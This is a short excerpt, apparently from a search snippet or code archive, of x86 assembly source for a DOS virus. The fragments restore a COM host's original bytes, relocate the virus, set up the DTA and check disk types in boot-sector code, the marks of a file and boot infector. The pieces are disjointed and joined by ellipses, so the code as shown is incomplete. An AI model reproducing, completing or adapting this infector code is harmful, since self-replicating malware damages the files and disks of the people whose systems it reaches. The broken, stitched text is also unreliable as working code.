... address of the virus mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore mov WORD PTR [HOST],ax ;5 orig bytes of COM file to start of file mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET ... overlayed by;VIR_START. Subtract offsets to get @VIRUSGET_START: sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS mov dx,OFFSET DTA ;put DTA at the end of the virus for now mov ah,1AH ... sectorRB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START) mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86 mov al,BYTE PTR [bx] ;get disk type of disk being cmp al,80H...